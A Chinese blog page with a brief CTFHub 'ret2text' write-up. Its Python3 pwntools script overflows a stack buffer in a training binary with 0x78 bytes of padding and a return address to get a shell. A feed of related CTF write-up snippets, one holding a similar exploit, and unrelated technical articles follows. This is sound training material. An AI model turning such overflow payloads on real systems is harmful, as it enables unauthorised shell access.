墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
1.3k累计阅读
1.4k平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
题目链接：https://www.ctfhub.com -> 技能树 -> PWN -> 栈溢出 -> ret2text
WP：https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html
搜exp的时候发现已经有人写过WP了，于是就Cirl+CV，发现原程序是用Python2写的，我的pwntools环境是Python3，因此程序需要稍作修改。
from pwn import *
host = 'challenge-23b7868abfc49eea.sandbox.ctfhub.com'
port = 31443
#p = process("./pwn")
p = connect(host, port)
payload = bytes('A',encoding="utf8") * 0x78 + p64(0x4007b8)#类型不同不能拼接
p.sendline(payload)
p.interactive()
END
CTFhub-pwn-[ret2text]-writeup
关于CTF pwn的简单入门题目，ret2text。
python3-pwntools教程_python的pwntools工具的日常使用
1.安装操作系统：ubuntu16.04环境准备：pythonpiplibssl-devlibffi-devpwntools安装：sudo apt-get install libffi-devsudo apt-get install libssl-devsudo apt-get install pythonsudo apt-get install python-pipsudo pip instal...
跟着CTF-wiki学pwn——ret2text
肾么叫做万死不辞呀，就是每天被气死一万次，也不辞职…(哭哭
CTFHub[PWN技能树]——栈溢出
文章目录一、ret2text二、ret2shellcode 一、ret2text 例行检查,64位程序，没有开启任何保护 本地运行一下情况，看看大概的情况 64位ida载入，检索程序里的字符串发现了bin/sh 要满足条件才可以执行，但是我们可以直接跳转到0x4007B8去system（‘/bin/sh’） 看main函数 第8行，gets函数读入没有限制数据的长度，明显的溢出，溢出ret到执行system（‘/bin/sh’）的地址即可 from pwn import * #p=proc
DRM驱动架构浅析-上（DRM基础概要与U-Boot阶段驱动解析）
本文主要探讨了Rockchip平台的DRM显示驱动架构及其在U-Boot阶段的实现。
实战指南：基于ELK与Grafana构建天融信防火墙日志可视化看板
本文详细介绍了如何基于ELK与Grafana构建天融信防火墙日志可视化看板，包括环境准备、日志收集与解析配置、Elasticsearch存储优化、Grafana看板设计等关键步骤。通过实战案例和优化技巧，帮助用户高效处理天融信防火墙日志，实现安全态势的可视化监控与分析。
【ctf】ret2text
PWN ret2text 题目链接：ret2text 参考博客：CTF Wiki 基本 ROP 参考视频：【CTF】Linux PWN入门 Bamboofox社课系列 0x01 下载ret2text文件，复制到 翔哥的van美pwn机 中 查看保护机制 Arch: i386-32-little //文件为32位程序 RELRO: Partial RELRO Stack: No canary found //未开启canary保护 NX: NX enabled
半导体关键系统之RMS浅谈
这种系统还要求设备在设备上的配方发生变化时通知工厂主机，并需要与EAP（Equipment Automation Process）联结，旨在实时管控自动化系统所用配方与用户当初的设定是否匹配，从而使得自动化系统所用的配方更加趋于安全。例如，制药行业中的药品生产管理系统（GMP），它对药品的生产过程进行严格控制，包括原材料的采购、生产工艺流程、质量控制等方面。这些系统通常与企业的生产系统集成，能够对产品的配方进行精细化管理，包括配方的设计、试验、验证、生产等环节。
ctfhub 技能树pwn 栈溢出 ret2text
看到v4这个变量的缓冲区，我们要把数据溢出到覆盖返回地址，即0x70+8。选中该行，看到下方的地址（4007B8）看到gets危险函数，再点开其中的v4。再shift+f12 直接查看相关字符。可以看到无任何的栈保护。输入：wq 保存退出。
从零构建MAVLink通信：PX4飞控与QGC的协议握手全解析
本文详细解析了PX4飞控与QGC地面站通过MAVLink协议进行通信的全过程，重点介绍了航点传输协议的状态机设计、INT类型消息的优化优势以及异常处理与调试技巧。通过实战案例和性能优化建议，帮助开发者高效构建无人机通信系统，提升数据传输效率与稳定性。
关于RTP时间戳以及播放器对时间戳的处理
首先，了解时间戳几个基本概念： 时间戳单位：时间戳计算的单位不是秒之类的单位，而是由采样频率所代替的单位，这样做的目的就是为了是时间戳单位更为精准。比如说一个音频的采样频率为8000Hz，那么我们可以把时间戳单位设为1 / 8000。 时间戳增量：相邻两帧之间的时间差（以时间戳单位为基准）。 采样频率： 有些地方也叫时钟频率，即 每秒钟抽取样本的次数，例如音频的采...
ctf-wiki rop ret2text
观察gets函数写入的数组地址为[esp+1ch],思路为查找esp为多少，因为当前是靠着esp定位地址。查看secure函数中获取到shell的地址（0804863a）2.拿到文件在kali linux中用ida打开。推断距离返回地址偏移的地址为：0x6c+4。于是字符串（esp+1ch）的地址为。推断距离edp的地址为：0x6c。1.下载ret2text文件。获取目标机器shell。
16QAM调制解调仿真（matlab，详细介绍仿真方案的设计、结果及结论、完整代码及注释）
16QAM调制解调仿真目录一、仿真要求二、仿真方案详细设计三、仿真结果及结论四、仿真代码 一、仿真要求 1.用基带等效的方式仿真16-QAM在AWGN信道下的误码率和误比特率性能，并与理论值相比较； 2.高阶与低阶的性能比较。 二、仿真方案详细设计 三、仿真结果及结论 仿真结果 16QAM的星座点图 64QAM的星座点图 16QAM加噪声后的星座点图 64QAM加噪声后的星座点图 16-QAM载波调制信号在AWGN信道下的误比特率性能比较 结论：由图可知，16QAM的误符号率
[CTFhub]pwn技能树ret2shellcode
摘要：这篇文章介绍了CTF中ret2shellcode漏洞利用方法。题目分析显示程序没有开启任何保护，存在栈溢出漏洞且会泄露buf地址。解题思路是通过构造shellcode并覆写返回地址来获取shell权限。文章提供了完整的Python利用脚本，利用pwntools工具生成shellcode并计算正确地址，最终成功获取flag。关键词：CTF、pwn、ret2shellcode、栈溢出、shellcode。
【AUTOSAR AP PHM 】PHM 标准化“检查点上报接口”落地指南（AUTOSAR AP · R24-11取向）
本文介绍了AUTOSAR AP R24-11标准下PHM（平台健康管理）模块中"检查点上报接口"的标准化实现方案。主要内容包括： 核心设计理念：采用"配置优先"原则，通过部署模型预先定义监管参数，应用进程只需简单上报枚举标识，具体判定由PHM执行。 职责划分： 应用进程：仅调用ReportCheckpoint接口上报枚举值 PHM：负责Alive计数、Deadline区间判定和Logical路径校验 EM/IdsM：提供进程状态和越权检测 三类监管机制： Alive：
STM32Cube高效开发教程＜高级篇＞＜FreeRTOS＞(一)-----FreeRTOS基础
一、 FreeRTOS概述声明：本人水平有限，博客可能存在部分错误的地方，请广大读者谅解并向本人反馈错误。本专栏博客参考《STM32Cube高效开发教程(高级篇)》，有意向的读者可以购买正版书籍辅助学习，本书籍由王维波老师、鄢志丹老师、王钊老师倾力打造，书籍内容干货满满。写在前面：今天就算正式开始高级篇的博客编写了，我本人也是第一次学习FreeRTOS，所以整体的进度会比较慢，博客更新可能不太会及时，希望大家原谅。一、 FreeRTOS概述。
【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO
ops
OV9734 DATASHEET，完整规格书
OV9734完整规格书，包括电气参数，尺寸规格，寄存器配置表等
CTF-PWN-callme32 [ROP+栈溢出]
首先发现在pwnme函数中有一个明显的缓冲区溢出，长度为40，经调试发现填入44长度的垃圾信息即可填入shellcode ida发现一个重要函数如下： 点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看，发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> c...
TMS_WebGMaps_1.9.8.0_Full_Source
TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
[CTFHub]-技能树----pwn tcache Attack
目前只有我一人解出来，估计是其他大佬不屑于做这样简单的题吧！长话短说，做堆类题一定要亲自动手,重要的事情说三遍。
温度PID控制PLC程序
温度PID稳定控制程序，适用于欧姆龙PLC，对其他PLC也具有很大参考价值
buuctf rip 1，ret2text解法
from pwn import * io = remote("node4.buuoj.cn",27708) payload = b'a'* 23 + p64(0x40118a) io.sendline(payload) io.interactive() 87和8a两个地址都能奏效，往上往下都不行。
ctfshow-web入门-命令执行（web41_exp与分析）
preg 是题目的正则匹配规则，在 ASCII 可见字符范围内，先排除掉正则表达式匹配的字符，将其他可用的字符进行按位或运算，再将运算得到的可见字符，以及参与或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。过滤掉了数字、字母以及一些符号，之前接触过的无字母 rce 是取反编码再取反，采用不可见字符去绕过正则，但是这里取反符号被过滤掉了，但是注意到或符号被放出来了，下面附上这种类型题目的相关脚本，并给出一定解释。（2）php 可用字符生成脚本（这个的生成方式可以选择或和异或操作）
ctf-wiki基本ROP1-ret2text学习笔记
可以看出程序在主函数中使用了 gets 函数，显然存在栈溢出漏洞。这里计算出的偏移量。构造playload时，直接与系统调用地址相加就可。可以看出程序是 32 位程序，其仅仅开启了栈不可执行保护。然后，我们使用 IDA 来查看源代码。那么如果我们直接控制程序返回至 0x0804863A，那么就可以得到系统的 shell 了。在 please input 后，将之前生成的溢出字符串粘贴上去。注意：start 命令执行后，还需执行 contin 命令。，cyclic -l 地址 计算偏移量。
[CTFHub] ret2text
gets_s（buffer,size）函数：从标准输入中读取数据，size表示的最多读取的数量，在这里是argv，没有定义是多大，所以我们就可以无限的输入。输入超过程序设定的字节数以后，就会发生栈溢出，多出的内容会覆盖返回地址。这个题目中要获得系统的shell，只需要先用垃圾数据填充填满数组的空间，再拼上系统system函数的返回地址就可以。只要我们能控制程序返回到0x4007B8（“/bin/sh”指令的地址），就可以得到系统的shell。我们攻击的目的主要是获得系统的控制权（也就是拿到shell）。
【PWN · ret2text】——[CTFHub]ret2text
经典的ret2text流程。
CTFHUB(PWN)Ret2Text
64位没有开启任何保护的Ret2Text
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
2619
扫一扫
